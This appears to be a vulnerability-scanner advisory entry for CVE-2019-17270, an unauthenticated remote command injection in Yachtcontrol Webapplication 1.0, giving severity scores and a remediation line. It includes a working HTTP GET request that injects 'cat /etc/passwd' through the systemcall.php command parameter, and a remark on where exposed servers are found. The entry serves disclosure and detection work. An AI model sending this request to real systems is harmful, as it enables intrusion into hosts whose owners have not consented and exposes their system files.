| Title | Yachtcontrol Webapplication 1.0 - Remote Command Injection |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93937 |
| CVE ID | CVE-2019-17270 |
| CWE ID | CWE-78 |
| Tags | cve cve2019 rce yachtcontrol edb packetstorm vkev vuln |
Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the “/pages/systemcall.php?command={COMMAND}” page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco’s.
GET /pages/systemcall.php?command=cat%20/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.5 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17270.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17270.pcap
N/AN/A